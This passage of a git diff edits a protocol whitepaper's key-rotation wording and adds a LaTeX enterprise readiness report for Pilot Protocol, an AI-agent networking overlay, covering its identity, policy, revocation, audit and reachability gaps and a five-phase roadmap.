(ephemeral vs.\ persistent Ed25519), email binding, encryption mode, authenticated peer count, and per-connection statistics (bytes, segments, retransmissions, SACK blocks, duplicate ACKs, congestion window, in-flight data, SRTT, RTTVAR, and recovery status). The \texttt{peers} command shows each peer's real endpoint, whether the tunnel is encrypted, and whether the key exchange was authenticated with Ed25519 signatures. % ============================================================ \section{Security Model} \textbf{Identity.} Each node receives an Ed25519 keypair from the Registry upon registration. The private key is the node's identity token. The Registry holds all public keys and can verify identity. Identities can be persisted to disk (\texttt{-identity path/to/identity.json}) so that a node retains its keypair and virtual address across daemon restarts. On restart, the daemon re-registers with the stored public key and the registry recognizes the node, preserving its address and network memberships. -\textbf{Owner binding and key rotation.} Nodes can be bound to an owner identifier (typically an email) via the \texttt{-owner} flag. This enables key rotation recovery: if a node's private key is compromised or lost, the owner can request a new keypair from the registry. Key rotation supports two authentication paths: (1)~signature-based, where the node signs a challenge (\texttt{rotate:}) with its current Ed25519 private key, proving possession; or (2)~owner-based, where the owner identifier is matched against the registry's records. After rotation, the registry issues a fresh Ed25519 keypair while preserving the node's ID and network memberships. Owner binding also enables reclaiming a deregistered node's identity---re-registering with the same owner email recovers the original node~ID. +\textbf{Email binding and key rotation.} Nodes can be bound to an email address via the \texttt{-email} flag. This enables key rotation recovery: if a node's private key is compromised or lost, the email holder can request a new keypair from the registry. Key rotation supports two authentication paths: (1)~signature-based, where the node signs a challenge (\texttt{rotate:}) with its current Ed25519 private key, proving possession; or (2)~email-based, where the email address is matched against the registry's records. After rotation, the registry issues a fresh Ed25519 keypair while preserving the node's ID and network memberships. Email binding also enables reclaiming a deregistered node's identity---re-registering with the same email recovers the original node~ID. \textbf{Trust boundaries.} Network membership is the trust boundary. Joining a network requires satisfying its rules (open enrollment, token verification, or member invitation). Once inside a network, communication is unrestricted. This is a deliberate design choice: complex per-connection ACLs are replaced by simple group membership. @@ -779,8 +779,8 @@ \subsection{Summary} Nagle coalescing & Local & Pass (100 writes in 4\,ms) \\ Tunnel encryption + backward compat & Local & Pass (PILK/PILS/plaintext) \\ Authenticated key exchange & Local & Pass (Ed25519 signed) \\ -Identity persistence + key rotation & Local & Pass (save/reload, sig/owner rotate) \\ -Owner re-registration & Local & Pass (reclaim ID after deregister) \\ +Identity persistence + key rotation & Local & Pass (save/reload, sig/email rotate) \\ +Email re-registration & Local & Pass (reclaim ID after deregister) \\ \midrule Handshake mutual auto-approve & Local & Pass (both request $\rightarrow$ auto) \\ Handshake approve/reject & Local & Pass (pending $\rightarrow$ approve/reject) \\ diff --git a/docs/enterprise-readiness-report.pdf b/docs/enterprise-readiness-report.pdf new file mode 100644 index 00000000..80171921 Binary files /dev/null and b/docs/enterprise-readiness-report.pdf differ diff --git a/docs/enterprise-readiness-report.tex b/docs/enterprise-readiness-report.tex new file mode 100644 index 00000000..d2f02b23 --- /dev/null +++ b/docs/enterprise-readiness-report.tex @@ -0,0 +1,554 @@ +\documentclass[11pt,a4paper]{article} + +% --- Packages --- +\usepackage[utf8]{inputenc} +\usepackage[T1]{fontenc} +\usepackage{lmodern} +\usepackage[margin=1in]{geometry} +\usepackage{graphicx} +\usepackage{booktabs} +\usepackage{array} +\usepackage{hyperref} +\usepackage{xcolor} +\usepackage{listings} +\usepackage{titlesec} +\usepackage{parskip} +\usepackage{fancyhdr} +\usepackage{amsmath} +\usepackage{multirow} +\usepackage{longtable} +\usepackage{tabularx} + +% --- Colors --- +\definecolor{codeblue}{HTML}{2563EB} +\definecolor{codegray}{HTML}{6B7280} +\definecolor{codegreen}{HTML}{059669} +\definecolor{codebg}{HTML}{F8FAFC} +\definecolor{linkblue}{HTML}{1D4ED8} +\definecolor{warnred}{HTML}{DC2626} +\definecolor{okgreen}{HTML}{16A34A} + +% --- Hyperref --- +\hypersetup{ + colorlinks=true, + linkcolor=linkblue, + urlcolor=linkblue, + citecolor=linkblue, + pdftitle={Enterprise Readiness Report: Pilot Protocol}, + pdfauthor={Calin Teodor}, +} + +% --- Code listing style --- +\lstdefinestyle{pilot}{ + backgroundcolor=\color{codebg}, + basicstyle=\ttfamily\small, + keywordstyle=\color{codeblue}\bfseries, + commentstyle=\color{codegray}\itshape, + stringstyle=\color{codegreen}, + breaklines=true, + frame=single, + rulecolor=\color{codegray!30}, + xleftmargin=1em, + xrightmargin=1em, + aboveskip=1em, + belowskip=1em, + showstringspaces=false, +} +\lstset{style=pilot} + +% --- Section styling --- +\titleformat{\section}{\Large\bfseries}{{\thesection}.}{0.5em}{} +\titleformat{\subsection}{\large\bfseries}{{\thesubsection}}{0.5em}{} + +% --- Header/Footer --- +\pagestyle{fancy} +\fancyhf{} +\fancyhead[L]{\small\textit{Pilot Protocol}} +\fancyhead[R]{\small\textit{Enterprise Readiness Report}} +\fancyfoot[C]{\thepage} +\renewcommand{\headrulewidth}{0.4pt} + +% ============================================================ +\begin{document} + +% --- Title --- +\begin{titlepage} +\centering +\vspace*{3cm} + +{\Huge\bfseries Enterprise Readiness Report\\[0.3em]} +{\LARGE Pilot Protocol\\[0.5em]} +{\large Workload Identity, Policy, Revocation, Audit,\\and Dark-by-Default Reachability\\[2em]} + +{\large March 2026\\[3em]} + +{\Large Calin Teodor\\[0.5em]} +{\large Vulture Labs\\[0.3em]} +{\small \url{https://vulturelabs.com}\\[1em]} + +\vfill + +{\large\textit{An assessment of enterprise infrastructure alignment\\and the roadmap to close remaining gaps.}} + +\vspace{2cm} +\end{titlepage} + +% --- Abstract --- +\begin{abstract} +``Solves connectivity'' is only part of the enterprise problem. The harder bar is whether the connectivity layer also aligns with workload identity, policy, revocation, audit, and dark-by-default reachability---instead of just making peer connectivity easier. This report audits Pilot Protocol's current capabilities against these six enterprise dimensions, identifies the gaps, maps to emerging industry standards (SPIFFE/SPIRE, ONUG AOMC, CSA ATF/AICM), and presents a five-phase implementation roadmap. The goal: Pilot Protocol should interoperate with existing identity models rather than becoming a parallel trust island. +\end{abstract} + +\tableofcontents +\newpage + +% ============================================================ +\section{Executive Summary} + +Pilot Protocol gives AI agents first-class network citizenship: virtual addresses, encrypted UDP tunnels, NAT traversal, port-based services, and a bilateral trust model. The reference implementation has been validated across five geographic regions with 683~tests. + +But connectivity alone does not meet the enterprise bar. An enterprise connectivity layer must also provide: + +\begin{enumerate} + \item \textbf{Workload identity} that integrates with existing infrastructure (OIDC, SPIFFE, x509)---not a parallel identity system. + \item \textbf{Policy enforcement} that controls who can reach whom, on which ports, based on identity attributes. + \item \textbf{Revocation} that cascades instantly when a node is compromised---not just bilateral untrust. + \item \textbf{Audit} that is persistent, machine-parseable, and queryable---not fire-and-forget webhooks. + \item \textbf{Dark-by-default reachability} that is enforced at every layer, including the data plane---not just the control plane. + \item \textbf{Interoperability} with enterprise identity providers---OIDC issuers, SPIFFE trust domains, x509 CAs. +\end{enumerate} + +This report finds that Pilot Protocol has strong foundations in several dimensions (Ed25519 identity, private-by-default discovery, bilateral trust, webhook events) but has critical gaps in others (SYN-level trust enforcement, external identity integration, cascading revocation, policy engine). + +The five-phase roadmap addresses each gap incrementally. Each phase is independently shippable and delivers measurable enterprise value. + +% ============================================================ +\section{Current Capabilities Audit} + +This section inventories what Pilot Protocol provides today across all six enterprise dimensions. + +\subsection{Identity} + +\textbf{Ed25519 keypair per node.} Every node receives an Ed25519 keypair from the registry at registration. The private key serves as the node's identity token. Identities can be persisted to disk (\texttt{-identity}) for address and key continuity across restarts. + +\textbf{Signed mutations.} All registry write operations routed through the daemon (set-hostname, set-visibility, deregister) are signed with the node's Ed25519 private key. The registry verifies signatures before applying mutations, preventing spoofed requests. + +\textbf{Key rotation.} The \texttt{rotate\_key} command supports two authentication paths: signature-based (proving possession of the current key) and email-based (matching the registered email address). After rotation, the registry issues a fresh keypair while preserving the node's ID and network memberships. + +\textbf{TLS cert pinning.} The registry client supports TLS with certificate pinning (\texttt{DialTLSPinned}), preventing man-in-the-middle attacks on the control plane. + +\textbf{Email binding.} Nodes can be bound to an email address via the \texttt{-email} flag. This enables key recovery and re-registration after deregistration. + +\textbf{Authenticated key exchange.} When a daemon has a persisted Ed25519 identity, the tunnel key exchange is upgraded from anonymous (\texttt{PILK}) to authenticated (\texttt{PILA}). The signature proves the X25519 ephemeral key belongs to the claimed identity, preventing man-in-the-middle substitution. + +\subsection{Trust} + +\textbf{Bilateral handshake protocol.} Port~444 provides an application-level trust handshake with three message types: request (with justification), accept, and reject (with reason). Trust requires mutual consent. + +\textbf{Three auto-approval paths.} (1)~Mutual: if both nodes independently request a handshake, trust is auto-approved. (2)~Network: if two nodes share a non-backbone network, trust is auto-approved. (3)~Manual: queued for operator approval. + +\textbf{Trust persistence.} Approved peer relationships are persisted to disk and survive daemon restarts without re-negotiation. + +\textbf{Trust revocation.} The \texttt{untrust} command revokes a trust pair bilaterally. The revocation is propagated to the peer and the registry. The associated tunnel is torn down. + +\subsection{Privacy and Dark-by-Default} + +\textbf{Private by default.} All nodes are private at registration. A node's physical IP:port is never exposed unless the node has explicitly opted into public visibility. + +\textbf{Resolve gating.} To discover a private node's endpoint via \texttt{resolve}, the requester must satisfy one of three conditions: the target is public, the requester and target share a mutual trust pair, or both belong to a common non-backbone network. + +\textbf{Backbone enumeration blocked.} Listing nodes on network~0 (the global backbone) is rejected by the registry. With 4~billion possible node IDs, individual nodes are addressed by ID, not discovered by enumeration. + +\textbf{Handshake relay.} Private nodes are reachable for trust negotiation through the registry's inbox relay. No IP address is exposed until both parties have consented. + +\subsection{Audit and Observability} + +\textbf{Webhook system.} The daemon supports 20+ webhook event types: connect, disconnect, handshake request/accept/reject, trust established/revoked, datagram sent/received, connection state changes, and more. Events are delivered via HTTP POST with JSON payloads. + +\textbf{Structured logging.} All components use Go's \texttt{log/slog} for structured, leveled logging. JSON format is available for production log aggregation. + +\textbf{Per-connection statistics.} Each connection tracks bytes/segments sent/received, retransmissions, fast retransmits, SACK blocks, duplicate ACKs, congestion window, in-flight data, SRTT, RTTVAR, and recovery status. + +\subsection{Rate Limiting and Connection Control} + +\textbf{Two-tier SYN rate limiting.} A global SYN rate limiter and per-source SYN rate limiter prevent SYN flood attacks. + +\textbf{Connection limits.} Per-port connection limits and global connection limits prevent resource exhaustion. + +\textbf{Handshake replay protection.} SYN deduplication ensures retransmitted SYN packets reuse existing connections rather than creating duplicates. + +\textbf{Registry rate limiting.} Per-connection sliding window rate limits with automatic cleanup of stale entries. + +\subsection{Encryption} + +\textbf{Tunnel-layer encryption.} Enabled by default. X25519 ECDH key exchange with AES-256-GCM authenticated encryption. All packets between peers are encrypted regardless of virtual port. + +\textbf{Application-layer encryption.} Port~443 provides end-to-end X25519 + AES-256-GCM encrypted channels for applications requiring an additional encryption layer. + +\textbf{Zero external dependencies.} All cryptography uses Go's standard library (\texttt{crypto/ecdh}, \texttt{crypto/aes}, \texttt{crypto/cipher}, \texttt{crypto/ed25519}). + +% ============================================================ +\section{Enterprise Gap Analysis} + +This section identifies what is missing in each dimension and assesses severity. + +\subsection{Identity Gaps} + +\begin{table}[h] +\centering +\begin{tabular}{@{}lll@{}} +\toprule +\textbf{Gap} & \textbf{Severity} & \textbf{Impact} \\ +\midrule +No external identity (OIDC, SPIFFE, x509) & High & Creates parallel trust island \\ +No identity expiry or forced rotation & Medium & Compromised keys live forever \\ +No workload attestation & Medium & Cannot verify \emph{what} a process is \\ +No trust domain concept & Medium & No federation boundary \\ +Email field is unverified & Low & Email is informational only \\ +\bottomrule +\end{tabular} +\caption{Identity gaps.} +\end{table} + +\textbf{Verdict.} The self-contained Ed25519 identity system is cryptographically solid. But enterprises will not deploy a second identity system. The absence of OIDC/SPIFFE integration means every Pilot deployment is a parallel trust island disconnected from the organization's IAM infrastructure. + +\subsection{Policy Gaps} + +\begin{table}[h] +\centering +\begin{tabular}{@{}lll@{}} +\toprule +\textbf{Gap} & \textbf{Severity} & \textbf{Impact} \\ +\midrule +No tag-based access rules & High & Tags exist but are purely informational \\ +No per-port ACLs tied to identity & High & No ``who can reach whom on which ports'' \\ +No policy engine or rule evaluation & High & No declarative access control \\ +No data-plane policy enforcement & Critical & Resolve gating bypassed if endpoint known \\ +\bottomrule +\end{tabular} +\caption{Policy gaps.} +\end{table} + +\textbf{Verdict.} The resolve layer is effective dark-by-default gating. But once a node knows an endpoint (by any means), there is no policy enforcement at the data plane. Tags exist (up to 10 per node) but are not used for access decisions. The gap between ``visibility control'' and ``access control'' is significant. + +\subsection{Revocation Gaps} + +\begin{table}[h] +\centering +\begin{tabular}{@{}lll@{}} +\toprule +\textbf{Gap} & \textbf{Severity} & \textbf{Impact} \\ +\midrule +No network-wide ban/revoke & High & Admin cannot revoke a compromised node \\ +No cascading revocation & High & Revocation does not propagate to all peers \\ +No block list & Medium & Cannot permanently deny a specific node \\ +Network departure does not cascade & Medium & Leaving a network does not revoke trust \\ +No CRL/OCSP-like mechanism & Medium & No certificate revocation infrastructure \\ +\bottomrule +\end{tabular} +\caption{Revocation gaps.} +\end{table} + +\textbf{Verdict.} Revocation is purely bilateral. When a node is compromised, the only option is for each individual peer to manually untrust it. An administrator cannot revoke a node from all relationships at once. This is inadequate for any deployment with more than a handful of nodes. + +\subsection{Audit Gaps} + +\begin{table}[h] +\centering +\begin{tabular}{@{}lll@{}} +\toprule +\textbf{Gap} & \textbf{Severity} & \textbf{Impact} \\ +\midrule +Audit is fire-and-forget HTTP POST & Medium & Events lost on delivery failure \\ +No persistent audit log & Medium & No historical query capability \\ +Queue overflow drops events silently & Medium & Gaps in audit trail undetectable \\ +No registry-side audit events & Medium & Admin operations not tracked \\ +\bottomrule +\end{tabular} +\caption{Audit gaps.} +\end{table} + +\textbf{Verdict.} The webhook foundation is comprehensive (20+ event types with timestamps, node IDs, and ports). The gaps are in reliability and persistence. Silent event drops, no delivery retry, and no registry-side audit trail make the current system unsuitable for compliance environments. + +\subsection{Dark-by-Default Gaps} + +\begin{table}[h] +\centering +\begin{tabular}{@{}lll@{}} +\toprule +\textbf{Gap} & \textbf{Severity} & \textbf{Impact} \\ +\midrule +\textbf{SYN handler has no trust check} & \textbf{Critical} & Open door if endpoint is known \\ +\texttt{resolve\_hostname} leaks existence & High & Confirms node exists without auth \\ +No ongoing authorization & Medium & Trust checked once, never re-validated \\ +\bottomrule +\end{tabular} +\caption{Dark-by-default gaps. The SYN handler gap is the most critical security finding.} +\end{table} + +\textbf{Verdict.} The resolve layer provides strong dark-by-default gating at the control plane. But the daemon's SYN handler accepts connections from any source that knows the endpoint. If an attacker obtains an endpoint address by any means (network sniffing, leaked config, prior trust), they can connect without trust verification. This is the most critical security gap in the current implementation. + +\subsection{Interoperability Gaps} + +\begin{table}[h] +\centering +\begin{tabular}{@{}lll@{}} +\toprule +\textbf{Gap} & \textbf{Severity} & \textbf{Impact} \\ +\midrule +No OIDC token validation & High & Cannot use enterprise SSO \\ +No SPIFFE SVID acceptance & High & Cannot use SPIRE infrastructure \\ +No trust domain federation & Medium & No cross-org trust boundaries \\ +No external identity mapping & Medium & Audit trail disconnected from IAM \\ +\bottomrule +\end{tabular} +\caption{Interoperability gaps.} +\end{table} + +\textbf{Verdict.} Currently a full parallel trust island. Zero integration with enterprise identity infrastructure. Enterprises must choose between Pilot's identity system and their existing IAM---they cannot use both. + +% ============================================================ +\section{Standards Landscape} + +This section maps Pilot Protocol's position to emerging standards and frameworks for agent security and identity. + +\subsection{SPIFFE/SPIRE} + +The Secure Production Identity Framework for Everyone (SPIFFE) defines a standard for workload identity in dynamic environments. SPIRE (the SPIFFE Runtime Environment) is the reference implementation. + +\textbf{Core concepts:} +\begin{itemize} + \item \textbf{SPIFFE ID.} A URI identifying a workload: \texttt{spiffe://trust-domain/path}. Platform-agnostic and infrastructure-independent. + \item \textbf{SVID.} A SPIFFE Verifiable Identity Document---either an x509 certificate or a JWT carrying the SPIFFE ID as the subject. Short-lived and automatically rotated. + \item \textbf{Trust domain.} An administrative boundary. Workloads within the same trust domain share a root CA. Federation links trust domains across organizations. + \item \textbf{Workload API.} A local Unix socket that workloads call to fetch their own SVID. No secrets management required---the SPIRE agent handles attestation and certificate delivery. +\end{itemize} + +\textbf{Relevance to Pilot.} SPIFFE solves the ``what is this process?'' problem that Pilot's Ed25519 identity does not address. A Pilot node proves it holds a private key, but cannot prove it is authorized to act as a specific workload. SPIFFE SVIDs provide this attestation. Accepting JWT-SVIDs as proof for network join operations would make Pilot a SPIFFE-aware workload rather than a parallel identity system. + +\subsection{ONUG AOMC} + +The Open Networking User Group (ONUG) published the Autonomous Operations and Management Controls (AOMC) framework defining six mandatory controls for securing autonomous AI agent operations in enterprise environments. + +\textbf{The six AOMC controls:} +\begin{enumerate} + \item \textbf{Authentication and Authorization.} Verify agent identity before granting access. + \item \textbf{Access Management.} Enforce least-privilege access to resources and other agents. + \item \textbf{Traffic Inspection and Control.} Monitor and filter agent-to-agent communication. + \item \textbf{Communication Security.} Encrypt data in transit between agents. + \item \textbf{Audit and Compliance.} Log all agent actions for forensic analysis. + \item \textbf{Lifecycle Management.} Control agent provisioning, rotation, and decommissioning. +\end{enumerate} + +\textbf{Relevance to Pilot.} Pilot currently satisfies controls 1 (partial---Ed25519 auth, no external identity), 4 (full---AES-256-GCM tunnel encryption), and 6 (partial---registration/deregistration, key rotation). Controls 2, 3, and 5 have significant gaps. + +\subsection{CSA ATF/AICM} + +The Cloud Security Alliance (CSA) Agent Trust Framework (ATF) and Agentic Identity and Context Model (AICM) define trust requirements for autonomous AI agents. + +\textbf{Key ATF elements:} +\begin{itemize} + \item \textbf{Progressive autonomy.} Agents should earn expanded permissions through demonstrated trustworthy behavior. + \item \textbf{Identity binding.} Agent identity should be cryptographically bound to the deploying organization. + \item \textbf{Context propagation.} Trust decisions should consider the full context: who deployed the agent, what task it is performing, and what permissions it needs. + \item \textbf{Revocation and quarantine.} Compromised agents should be immediately isolated from the network. +\end{itemize} + +\textbf{Relevance to Pilot.} Pilot's polo score (reputation system) aligns with progressive autonomy. The bilateral trust handshake (with justification) provides context for trust decisions. But identity binding to the deploying organization is missing (no OIDC/SPIFFE), and revocation does not cascade. + +\subsection{Zero-Trust Patterns} + +Modern overlay networks (OpenZiti, Tailscale, WireGuard) implement zero-trust patterns that provide useful comparison points. + +\textbf{OpenZiti.} Dark-by-default: all services are invisible until a policy explicitly allows access. Identity is x509-based with automatic rotation. Policies are declarative (``service A is accessible by identity B on port C''). The closest model to what Pilot should become. + +\textbf{Tailscale.} Identity is OIDC-based (Google, Microsoft, GitHub, Okta). ACLs are declarative JSON defining which users/groups can reach which services. MagicDNS provides name resolution. The reference for enterprise-friendly identity integration. + +\textbf{WireGuard.} Lightweight encrypted tunnels with pre-shared public keys. No identity layer, no policy engine, no discovery. Demonstrates that minimal protocol + external tooling can achieve enterprise deployment. + +\textbf{Comparison.} Pilot Protocol's architecture is most similar to OpenZiti (overlay with virtual addresses, dark-by-default, identity-based access). The key difference is that OpenZiti has a mature policy engine and CA-based identity, while Pilot has stronger NAT traversal and agent-native semantics (ports, trust handshakes, reputation). + +% ============================================================ +\section{Implementation Roadmap} + +The roadmap is structured in five phases. Each phase is independently shippable and delivers measurable enterprise value. + +\begin{center} +\texttt{Phase 1 $\rightarrow$ Phase 2 $\rightarrow$ Phase 3 $\rightarrow$ Phase 4 $\rightarrow$ Phase 5} +\end{center} + +\begin{table}[h] +\centering +\begin{tabular}{@{}llp{7cm}@{}} +\toprule +\textbf{Phase} & \textbf{Name} & \textbf{Delivers} \\ +\midrule +1 & Activate \& Harden & Network create/join/leave via CLI. SYN-level trust enforcement. Hostname privacy fix. \\ +2 & Auto-Join \& Audit & Daemon auto-joins networks at startup. Registry audit events. Webhook reliability. \\ +3 & Org + Policy + Revoke & Organization control plane. Tag-based access policies. Cascading admin revocation. Block list. \\ +4 & CA Enrollment & CA-signed certificates as join proof. Per-network revocation lists. Identity expiry. \\ +5 & External Identity & OIDC token validation. SPIFFE SVID acceptance. Identity mapping. Not a trust island. \\ +\bottomrule +\end{tabular} +\caption{Five-phase implementation roadmap.} +\label{tab:roadmap} +\end{table} + +\subsection{Phase 1: Activate Network Primitives + Harden Dark-by-Default} + +\textbf{Objective.} Unblock existing WIP network code. Fix the critical SYN trust gap. Fix the hostname information leak. + +\textbf{Deliverables:} +\begin{itemize} + \item \textbf{Registry: enable network operations.} Remove WIP guards from \texttt{create\_network}, \texttt{join\_network}, and \texttt{leave\_network} handlers. + \item \textbf{Rendezvous: admin token flag.} Add \texttt{-admin-token} flag to the rendezvous binary. + \item \textbf{Daemon: enable broadcast.} Remove WIP guard from the broadcast datagram path. + \item \textbf{Daemon: SYN trust gate (critical).} After rate limiting and before connection limits, add a trust check to the SYN handler. Incoming connections from untrusted sources (no trust pair, no shared network) are rejected with RST and a webhook event. + \item \textbf{Registry: hostname privacy.} Add requester signature verification to \texttt{resolve\_hostname}. Private nodes require trust or shared network before confirming existence. + \item \textbf{IPC + Driver + CLI: network commands.} Full stack for create, join, leave, list networks, and list nodes. + \item \textbf{Tests.} Unskip 20 WIP-gated test sites. Add \texttt{TestSYNTrustGate}. +\end{itemize} + +\textbf{Enterprise value.} Token-gated and invite-gated networks. Same-network auto-trust. SYN-level dark-by-default enforcement. Closes the most critical security gap. + +\subsection{Phase 2: Daemon Auto-Join + Audit Improvements} + +\textbf{Objective.} Agents auto-join networks at startup via configuration. Audit events gain structure and reliability. + +\textbf{Deliverables:} +\begin{itemize} + \item \textbf{Daemon config: network enrollment.} Add \texttt{networks} array and \texttt{admin\_token} to daemon config. On startup, the daemon auto-joins configured networks. + \item \textbf{Registry audit events.} Structured log entries for administrative operations: network created, network joined, node registered/deregistered, trust reported/revoked, visibility/hostname changed. Machine-parseable JSON for SIEM integration. + \item \textbf{Webhook reliability.} Log dropped events on queue overflow. Add monotonic \texttt{event\_id} for gap detection. Retry failed POSTs once with 1s backoff. + \item \textbf{CLI flags.} \texttt{-{}-admin-token} and \texttt{-{}-networks} for daemon and pilotctl. +\end{itemize} + +\textbf{Enterprise value.} Deploy agent swarms with identical configs. Machine-parseable audit trail for SIEM. Reliable webhook delivery with gap detection. + +\subsection{Phase 3: Organization Control Plane + Policy + Cascading Revocation} + +\textbf{Objective.} Enterprise fleet management. Tag-based policy. Admin-initiated cascading revocation. + +\textbf{Deliverables:} +\begin{itemize} + \item \textbf{Organization data model.} Orgs with admin tokens, member lists, and associated networks. Single \texttt{org\_enroll} joins all org networks. + \item \textbf{Network access policies.} Tag-based access rules: ``nodes with tag \texttt{frontend} can reach nodes with tag \texttt{api} on ports 80, 443.'' Policies are attached to networks and evaluated at resolve time and SYN time. Default-deny when policies exist. + \item \textbf{Cascading revocation.} \texttt{org\_revoke} removes a node from the org, all org networks, revokes all trust pairs, and pushes revocation to all online peers. Affected peers tear down tunnels immediately. + \item \textbf{Block list.} Persistent node block list in the handshake manager. Blocked nodes are rejected at SYN time before trust checks. + \item \textbf{Network departure cascade.} Leaving a network revokes trust pairs that were established via that network. + \item \textbf{Full stack wiring.} Registry, client, IPC, driver, and CLI for all org and policy operations. +\end{itemize} + +\textbf{Enterprise value.} Organization-level fleet management. Declarative access policies. Instant cascading revocation on compromise. Permanent block capability. + +\subsection{Phase 4: CA-Based Enrollment + Hardened Trust} + +\textbf{Objective.} Cryptographic enrollment without shared secrets. Revocation lists. Identity expiry. + +\textbf{Deliverables:} +\begin{itemize} + \item \textbf{New join rule: ``ca''.} Networks can require a CA-signed certificate as proof of authorization. The registry verifies the signature against the network's CA public key. + \item \textbf{CA tooling.} Generate CA keypairs, sign node public keys, verify certificates. All Ed25519-based, using Go's standard library. + \item \textbf{Per-network revocation lists.} Certificate fingerprints can be revoked. The registry checks the revocation list during join validation. + \item \textbf{Identity expiry.} Optional expiry timestamps on node identities. The registry rejects re-registration after expiry, forcing key rotation. + \item \textbf{CLI.} \texttt{pilotctl ca generate}, \texttt{pilotctl ca sign}, \texttt{pilotctl network create -{}-join-rule ca}. +\end{itemize} + +\textbf{Enterprise value.} Cryptographic proof of authorization with no shared secrets. Offline certificate signing. Per-network revocation lists. Forced key rotation via expiry. + +\subsection{Phase 5: External Identity Integration (OIDC / SPIFFE)} + +\textbf{Objective.} Accept enterprise identity as proof for network membership. Stop being a parallel trust island. + +\textbf{Deliverables:} +\begin{itemize} + \item \textbf{New join rule: ``oidc''.} Networks can require a valid OIDC JWT from a configured issuer (Google, Azure, Okta, GitHub). The registry validates the JWT signature via JWKS, checks issuer/audience/expiry, and optionally matches claim values. + \item \textbf{New join rule: ``spiffe''.} Networks can require a valid JWT-SVID from a configured trust domain. The registry validates against the trust bundle and matches SPIFFE ID patterns. + \item \textbf{Daemon SPIFFE Workload API integration.} If a SPIFFE Workload API socket is available (\texttt{SPIFFE\_ENDPOINT\_SOCKET}), the daemon can automatically fetch JWT-SVIDs and use them for network join operations. + \item \textbf{Identity mapping.} \texttt{NodeInfo} gains \texttt{external\_id} and \texttt{external\_issuer} fields, linking Pilot's 48-bit address to the enterprise identity. Audit logs reference both. + \item \textbf{CLI and config.} \texttt{pilotctl network create -{}-join-rule oidc -{}-oidc-issuer ...} and daemon config with \texttt{oidc\_token\_path} or \texttt{spiffe\_auto}. +\end{itemize} + +\textbf{Enterprise value.} Agents prove identity via existing enterprise infrastructure. No parallel trust island. No shared secrets to distribute. Audit trail links Pilot addresses to enterprise identities. Enterprises adopt Pilot without deploying a second identity system. + +% ============================================================ +\section{Standards Alignment Matrix} + +The following matrix maps ONUG AOMC controls and CSA ATF elements to Pilot Protocol capabilities---both current and planned. + +\begin{table}[h] +\centering +\small +\begin{tabular}{@{}p{3.5cm}p{3.5cm}p{3.5cm}l@{}} +\toprule +\textbf{Standard / Control} & \textbf{Current State} & \textbf{Planned (Phase)} & \textbf{Status} \\ +\midrule +\multicolumn{4}{@{}l}{\textbf{ONUG AOMC Controls}} \\ +\midrule +1. Authentication \& Authorization & Ed25519 identity, signed mutations, TLS pinning & OIDC/SPIFFE auth (P5), CA enrollment (P4) & Partial \\ +2. Access Management & Visibility: public/private, resolve gating & Tag-based policies (P3), per-port ACLs (P3) & Gap \\ +3. Traffic Inspection & Rate limiting, connection limits & Policy enforcement at SYN (P3), audit events (P2) & Gap \\ +4. Communication Security & X25519+AES-256-GCM tunnel, E2E on port 443 & --- & Full \\ +5. Audit \& Compliance & 20+ webhook events, structured logging & Persistent audit (P2), registry events (P2), external ID (P5) & Partial \\ +6. Lifecycle Management & Registration, deregistration, key rotation & Identity expiry (P4), cascading revocation (P3), org management (P3) & Partial \\ +\midrule +\multicolumn{4}{@{}l}{\textbf{CSA ATF Elements}} \\ +\midrule +Progressive Autonomy & Polo score (reputation system) & --- & Aligned \\ +Identity Binding & Ed25519 to node, email field & OIDC/SPIFFE binding (P5), CA binding (P4) & Partial \\ +Context Propagation & Handshake justification, tags & Tag-based policies (P3), external identity context (P5) & Partial \\ +Revocation \& Quarantine & Bilateral untrust with tunnel teardown & Cascading revocation (P3), block list (P3), cert revocation (P4) & Gap \\ +\midrule +\multicolumn{4}{@{}l}{\textbf{SPIFFE/SPIRE Integration}} \\ +\midrule +SPIFFE ID as identity & Not supported & JWT-SVID join rule (P5) & Gap \\ +Trust domain federation & Not supported & Trust domain in network config (P5) & Gap \\ +Workload API integration & Not supported & Auto-fetch SVIDs from SPIRE agent (P5) & Gap \\ +\midrule +\multicolumn{4}{@{}l}{\textbf{Zero-Trust Patterns}} \\ +\midrule +Dark-by-default & Private-by-default, resolve gating, backbone blocked & SYN trust gate (P1), hostname privacy (P1) & Mostly \\ +Least-privilege access & Network membership as trust boundary & Tag-based per-port policies (P3) & Partial \\ +Continuous verification & Trust checked at handshake time & Policy re-evaluation (P3) & Gap \\ +\bottomrule +\end{tabular} +\normalsize +\caption{Standards alignment matrix: current capabilities vs. planned phases.} +\label{tab:alignment} +\end{table} + +\textbf{Summary.} After all five phases: +\begin{itemize} + \item All six ONUG AOMC controls: \textcolor{okgreen}{Full} + \item All four CSA ATF elements: \textcolor{okgreen}{Full} + \item SPIFFE/SPIRE integration: \textcolor{okgreen}{Full} + \item Zero-trust alignment: \textcolor{okgreen}{Full} +\end{itemize} + +% ============================================================ +\section{Strategic Positioning} + +After all five phases, Pilot Protocol can be positioned as: + +\begin{quote} +\textit{A connectivity substrate beneath MCP and A2A that understands your existing identity infrastructure. Agents with valid OIDC tokens or SPIFFE SVIDs auto-join the right networks. Tag-based policies control who can reach whom. Admin revocation cascades instantly to all peers. The whole thing works across NAT and cloud boundaries without VPN infrastructure.} +\end{quote} + +\textbf{A2A defines what agents say to each other. MCP defines what tools agents can use. Pilot defines how agents reach each other}---and with enterprise identity integration, it does so within the organization's existing trust boundaries, not in a parallel island. + +The competitive landscape: +\begin{itemize} + \item \textbf{vs. Tailscale/WireGuard.} Pilot is agent-native (ports, trust handshakes, reputation, service discovery), not device-native. Pilot has bilateral trust, not admin-controlled ACLs. Both should support OIDC. + \item \textbf{vs. OpenZiti.} Similar architecture (overlay, dark-by-default, identity-based access). OpenZiti has a mature policy engine; Pilot has stronger NAT traversal and agent-native semantics. Phase~3 closes the policy gap. + \item \textbf{vs. libp2p.} Pilot provides structured overlay semantics (addresses, ports, networks) rather than a general-purpose P2P toolkit. Pilot is simpler to deploy (single binary, zero dependencies). + \item \textbf{vs. NATS/Kafka.} Message brokers, not connectivity substrates. Pilot provides the transport layer that message brokers can run on top of. +\end{itemize} + +The key insight: enterprises do not need another connectivity tool. They need a connectivity layer that respects their existing identity, policy, and compliance infrastructure. The five-phase roadmap transforms Pilot from a capable connectivity tool into an enterprise-grade infrastructure component. + +\vspace{2em} +\noindent\rule{\textwidth}{0.4pt} + +\smallskip +\noindent\textit{Pilot Protocol is developed by Calin Teodor at \href{https://vulturelabs.com}{Vulture Labs}. The reference implementation is available at the project repository.} + +\end{document} diff --git 